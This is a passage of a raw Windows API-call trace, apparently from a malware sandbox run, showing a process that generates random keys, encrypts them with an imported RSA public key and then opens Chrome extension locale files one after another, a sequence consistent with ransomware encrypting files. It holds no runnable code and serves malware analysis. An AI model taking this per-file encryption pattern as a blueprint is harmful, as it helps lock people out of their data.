dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.432] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.432] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.433] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.437] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.437] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.437] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.440] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e0b8) returned 1 [0237.440] CryptGetKeyParam (in: hKey=0x659e0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.440] CryptEncrypt (in: hKey=0x659e0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x93e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.440] GetLastError () returned 0x0 [0237.440] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.440] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.442] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e7b8) returned 1 [0237.446] CryptGetKeyParam (in: hKey=0x659e7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.446] CryptEncrypt (in: hKey=0x659e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x93f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x93f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.446] GetLastError () returned 0x0 [0237.446] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.446] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.447] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.451] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.451] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.452] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.455] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.455] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.456] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.459] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e438) returned 1 [0237.459] CryptGetKeyParam (in: hKey=0x659e438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.459] CryptEncrypt (in: hKey=0x659e438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9400000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9400000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.459] GetLastError () returned 0x0 [0237.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.459] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.461] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e5f8) returned 1 [0237.462] CryptGetKeyParam (in: hKey=0x659e5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.462] CryptEncrypt (in: hKey=0x659e5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9410000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9410000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.462] GetLastError () returned 0x0 [0237.462] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.462] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.463] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.467] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.467] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.468] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.471] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.471] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.471] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.472] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.474] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e7f8) returned 1 [0237.474] CryptGetKeyParam (in: hKey=0x659e7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.474] CryptEncrypt (in: hKey=0x659e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9420000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9420000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.475] GetLastError () returned 0x0 [0237.475] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.475] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.477] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e278) returned 1 [0237.477] CryptGetKeyParam (in: hKey=0x659e278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.477] CryptEncrypt (in: hKey=0x659e278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9430000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9430000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.477] GetLastError () returned 0x0 [0237.477] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.477] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.478] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.480] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.482] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.482] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.482] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.484] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.486] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.486] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.486] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.486] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.489] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e578) returned 1 [0237.489] CryptGetKeyParam (in: hKey=0x659e578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.489] CryptEncrypt (in: hKey=0x659e578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9440000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9440000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.489] GetLastError () returned 0x0 [0237.489] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.489] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.491] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e678) returned 1 [0237.491] CryptGetKeyParam (in: hKey=0x659e678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.491] CryptEncrypt (in: hKey=0x659e678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9450000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9450000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.492] GetLastError () returned 0x0 [0237.492] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.492] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.493] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.497] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.497] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.499] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.501] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.501] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.501] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.503] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e838) returned 1 [0237.503] CryptGetKeyParam (in: hKey=0x659e838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.503] CryptEncrypt (in: hKey=0x659e838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9460000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9460000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.504] GetLastError () returned 0x0 [0237.504] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.504] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.506] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e2b8) returned 1 [0237.506] CryptGetKeyParam (in: hKey=0x659e2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.506] CryptEncrypt (in: hKey=0x659e2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9470000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9470000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.506] GetLastError () returned 0x0 [0237.506] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.506] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.507] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.511] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.511] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.511] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.515] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.515] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.518] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e5b8) returned 1 [0237.518] CryptGetKeyParam (in: hKey=0x659e5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.518] CryptEncrypt (in: hKey=0x659e5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9480000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9480000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.518] GetLastError () returned 0x0 [0237.518] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.518] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.520] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e538) returned 1 [0237.520] CryptGetKeyParam (in: hKey=0x659e538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.520] CryptEncrypt (in: hKey=0x659e538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9490000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9490000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.521] GetLastError () returned 0x0 [0237.521] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.521] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.522] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.527] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.527] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.527] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.527] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.531] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.531] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.533] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e078) returned 1 [0237.533] CryptGetKeyParam (in: hKey=0x659e078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.533] CryptEncrypt (in: hKey=0x659e078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x94a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.534] GetLastError () returned 0x0 [0237.534] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.534] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.535] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e0f8) returned 1 [0237.535] CryptGetKeyParam (in: hKey=0x659e0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.535] CryptEncrypt (in: hKey=0x659e0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x94b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.536] GetLastError () returned 0x0 [0237.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.537] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.541] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.541] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.544] GetProcAddress (hModule=0x74c90000, 